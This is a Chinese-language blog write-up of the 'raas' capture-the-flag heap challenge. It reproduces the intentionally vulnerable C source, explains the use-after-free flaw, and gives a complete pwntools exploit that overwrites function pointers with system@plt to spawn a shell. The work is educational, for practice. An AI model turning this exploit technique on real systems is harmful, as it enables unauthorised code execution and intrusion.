raas的wp

https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了raas这个题目感觉还不错,我把wp分享出来,方便大家学习 raas的题目要求是:

nc hackme.inndy.tw 7719
This is a Record-as-a-Service!
And also our fist heap-based challenge.
Source code is available
Tips: use after free

给的源码是:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct record {
    void (*print)(struct record *);
    void (*free)(struct record *);
    union {
        int integer;
        char *string;
    };
};

struct record *records[16];

int ask(const char * q)
{
    char buff[32];
    printf("%s > ", q);
    fgets(buff, sizeof(buff), stdin);
    return atoi(buff);
}

void rec_int_print(struct record *rec)
{
    printf("Record(Type=Integer, Value=%d)\n", rec->integer);
}

void rec_str_print(struct record *rec)
{
    printf("Record(Type=String, Value=%s)\n", rec->string);
}

void rec_int_free(struct record *rec)
{
    free(rec);
    puts("Record freed!");
}

void rec_str_free(struct record *rec)
{
    free(rec->string);
    free(rec);
    puts("Record freed!");
}

void do_new()
{
    int idx = ask("Index");

    if(idx < 0 || idx > 16) {
        puts("Out of index!");
        return;
    }
    if(records[idx]) {
        printf("Index #%d is used!\n", idx);
        return;
    }

    struct record *r = records[idx] = (struct record *)malloc(sizeof(struct record));
    r->print = rec_int_print;
    r->free = rec_int_free;

    puts("Blob type:");
    puts("1. Integer");
    puts("2. Text");
    int type = ask("Type");
    unsigned int len;

    switch(type) {
        case 1:
            r->integer = ask("Value");
            break;
        case 2:
            len = ask("Length");
            if(len > 1024) {
                puts("Length too long, please buy record service premium to store longer record!");
                return;
            }
            r->string = malloc(len);
            printf("Value > ");
            fgets(r->string, len, stdin);
            r->print = rec_str_print;
            r->free = rec_str_free;
            break;
        default:
            puts("Invalid type!");
            return;
    }

    puts("Okey, we got your data. Here is it:");
    r->print(r);
}

void do_del()
{
    int idx = ask("Index");
    records[idx]->free(records[idx]);
}

void do_dump()
{
    int idx = ask("Index");
    records[idx]->print(records[idx]);
}

int main()
{
    alarm(600);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    puts("Welcome to use my Record-as-a-Service (free plan)");
    puts("You can only save Integer or String for 600 seconds");
    puts("Pay 1,000,000,000,000,000,000,000,000 bitcoins to buy premium plan");

    puts("Here is term of service. You must agree to use this service. Please read carefully!");
    puts("================================================================================");
    system("cat tos.txt | head -n 30 | sed -e 's/^/    /'");
    puts("================================================================================");


    while(1) {
        puts("1. New record");
        puts("2. Del record");
        puts("3. Show record");

        switch(ask("Act")) {
            case 1:
                do_new();
                break;
            case 2:
                do_del();
                break;
            case 3:
                do_dump();
                break;
            default:
                puts("Bye~ Thanks for using our service!");
                return 0;
        }
    }
}

这个题目根据提示来看是一道uaf题目,首先uaf是啥,通过http://www.mamicode.com/info-detail-1095509.htmlhttps://www.cnblogs.com/alert123/p/4918041.htmlhttps://bbs.pediy.com/thread-221537.htm这三篇文章可以了解其中的原理
因为程序源码已经给了,所以我就简单说一下这个程序是干啥的:这个程序可以增删查最多16组记录,其中输入的16组记录可以输入数字或者字符串。由于程序在删除记录的时候没有清空数组内的指针,所以导致了uaf的产生
先运行一下程序看一下这个程序干了啥
image
可以看到这个程序的流程还是很清晰的
再看看程序开启了哪些保护:
image
看到NX enabled,Canary found分别是开启了栈不可执行和金丝雀保护
因为这个程序用数组保存了新开辟空间的内存,但是在释放内存的时候没有把数组中的指针删除,所以导致漏洞的产生,我的思路是是首先创建两个保存数字1234的记录
image

地址rec_int_printrec_int_free数字长度
0x9c450080x0804869e0x080486de0x004d20x011
0x9c450180x0804869e0x080486de0x004d20x020fe1

然后将两个记录依次释放,下图是内存释放后的数据
image
再创建两个字符型的记录,因为Linux的内存机制会重复利用已经释放后的内存以避免内存碎片的产生,所以,再次申请的两个内存的话指针依然是0x9c45008和0x9c45018,此时数组里面存储的指针分别为

序号地址
10x9c45008
20x9c45018
30x9c45008
40x9c45018

此时记录两个字符型的变量分别是bbbbaaaabbb和aaaa
image
这里可以清晰的看到字符串bbbbaaaabbb写入的地址就是数组中第一个地址的所指的位置,此时bbbb覆盖了rec_int_print指针所在的位置,aaaa覆盖了rec_int_free所在的位置,虽然数组1所指的数据已经被释放,但是指针依然可以被访问,此时再调用do_del这个函数再去释放数组1,就可以导致eip被任意控制
此时把aaaa的位置替换成plt@system的地址,把bbbb换成传入system的参数就可以getshell了,此时应该注意的是传入system的参数后面应该用/x00截断,否则会造成执行不成功
所以最后我的exp是:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x080487A3'):
    raw_input('debug:')
    gdb.attach(io, "set follow-fork-mode parent\nb *" + addr)



elf = ELF('/home/h11p/ctf/raas')
system_addr=elf.plt['system']
print "%x" % system_addr
printf_addr=elf.plt['printf']
print "%x" % printf_addr


io = process('/home/h11p/ctf/raas')

#io = remote('hackme.inndy.tw', 7719)

payload="sh\x00\x00"+p32(system_addr)+"b"*3


debug()
#io.recvuntil('Where What?')

io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('1')
io.recvuntil('Type > ')
io.sendline('1')
io.recvuntil('Value > ')
io.sendline('1234')

io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('2')
io.recvuntil('Type > ')
io.sendline('1')
io.recvuntil('Value > ')
io.sendline("1234")

io.recvuntil('Act > ')
io.sendline('2')
io.recvuntil('Index > ')
io.sendline('1')

io.recvuntil('Act > ')
io.sendline('2')
io.recvuntil('Index > ')
io.sendline('2')

io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('3')
io.recvuntil('Type > ')
io.sendline('2')
io.recvuntil('Length > ')
io.sendline('12')
io.recvuntil('Value > ')
io.send(payload)

io.recvuntil('Act > ')
io.sendline('1')
io.recvuntil('Index > ')
io.sendline('4')
io.recvuntil('Type > ')
io.sendline('2')
io.recvuntil('Length > ')
io.sendline('7')
io.recvuntil('Value > ')
io.sendline("a"*4)

io.recvuntil('Act > ')
io.sendline('2')
io.recvuntil('Index > ')
io.sendline('1')


io.interactive()
io.close()

效果是
image

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值